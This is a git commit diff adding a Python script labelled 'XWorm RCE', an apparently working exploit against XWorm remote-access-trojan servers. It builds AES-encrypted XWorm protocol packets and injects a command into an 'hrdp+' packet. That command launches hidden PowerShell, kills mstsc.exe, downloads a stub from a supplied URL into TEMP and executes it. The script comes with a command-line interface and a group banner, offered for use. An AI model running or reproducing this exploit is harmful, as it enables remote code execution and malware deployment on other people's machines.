initial commit

2026-08-27 11:23:38 -06:00
commit 98e7d16cd1
2 changed files with 195 additions and 0 deletions
@@ -0,0 +1,100 @@
+import socket
+import io
+import time
+import random
+import string
+import hashlib
+import sys
+import os
+from Cryptodome.Cipher import AES
+from Cryptodome.Util.Padding import pad, unpad
+from colorama import Fore
+import platform
+import argparse
+
+class Packet:
+    def __init__(self, *data: list[bytes]):
+        self.data = data
+
+    def write_bytes(self, into):
+        into.write(b'<Xwormmm>'.join(self.data))
+    
+    def get_bytes(self):
+        b = io.BytesIO()
+        self.write_bytes(b)
+        return b.getbuffer().tobytes()
+
+def genid(length=8):
+    return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length))
+
+def sendpacket(sock, packet, key):
+    key_hash = hashlib.md5(key.encode('utf-8')).digest()
+    crypto = AES.new(key_hash, AES.MODE_ECB)
+    data = packet.get_bytes()
+    encrypted = crypto.encrypt(pad(data, 16))
+    sock.send(str(len(encrypted)).encode('utf-8') + b'\0')
+    sock.send(encrypted)
+    return encrypted
+
+def rce(host, port, key):
+    client_id = genid()
+
+
+    file_url = "" # ur stub url
+
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    sock.settimeout(10)
+    sock.connect((host, port))
+    handshake_packet = Packet(b'hrdp', client_id.encode('utf-8'))
+    sendpacket(sock, handshake_packet, key)
+    time.sleep(0.5)
+    
+    file_extension = '.bat' if file_url.lower().endswith('.bat') else '.exe'
+    random_filename = f"{genid(5)}{file_extension}"
+    
+    if file_extension == '.bat':
+        ps_command = f"start powershell.exe -WindowStyle Hidden $url = \\\"{file_url}\\\"; taskkill /f /IM mstsc.exe; $outputPath = \\\"$env:TEMP\\\\{random_filename}\\\"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Process -FilePath 'cmd.exe' -ArgumentList '/c', $outputPath"
+    else:
+        ps_command = f"start powershell.exe -WindowStyle Hidden $url = \\\"{file_url}\\\"; taskkill /f /IM mstsc.exe; $outputPath = \\\"$env:TEMP\\\\{random_filename}\\\"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Sleep -s 3; cmd.exe /c start \"\" $outputPath"
+    
+    exploit_packet = Packet(
+        b'hrdp+', 
+        client_id.encode('utf-8'), 
+        b" lol", 
+        f"\" & {ps_command}".encode('utf-8'),
+        b"1:1"
+    )
+    
+    sendpacket(sock, exploit_packet, key)
+    sock.close()
+    
+    return True
+
+def main():
+    parser = argparse.ArgumentParser(description='XWorm RCE')
+    parser.add_argument('--host', '-H', required=True, help='Target host')
+    parser.add_argument('--port', '-p', type=int, required=True, help='Target port')
+    parser.add_argument('--key', '-k', required=False, help='Encryption key', default="<123456789>")
+    args = parser.parse_args()
+    
+    print(Fore.YELLOW + f"[?] Executing file." + Fore.RESET)
+    print(Fore.YELLOW + f"[?] RCEING {args.host}:{args.port} with key {args.key}" + Fore.RESET)
+    rce(args.host, args.port, args.key)
+    print(Fore.GREEN + f"[+] Execution completed" + Fore.RESET)
+
+if __name__ == "__main__":
+    os.system("cls") if platform.system() == "Windows" else os.system("clear")
+    print(
+        Fore.RED +
+        r"""
+   _____ __    _ __                                   ____  ____________
+  / ___// /_  (_) /__      ______  _________ ___     / __ \/ ____/ ____/
+  \__ \/ __ \/ / __/ | /| / / __ \/ ___/ __ `__ \   / /_/ / /   / __/   
+ ___/ / / / / / /_ | |/ |/ / /_/ / /  / / / / / /  / _, _/ /___/ /___   
+/____/_/ /_/_/\__/ |__/|__/\____/_/  /_/ /_/ /_/  /_/ |_|\____/_____/   
+
+made by discord.gg/exposing
+                                                                        
+"""
+    )
+    main()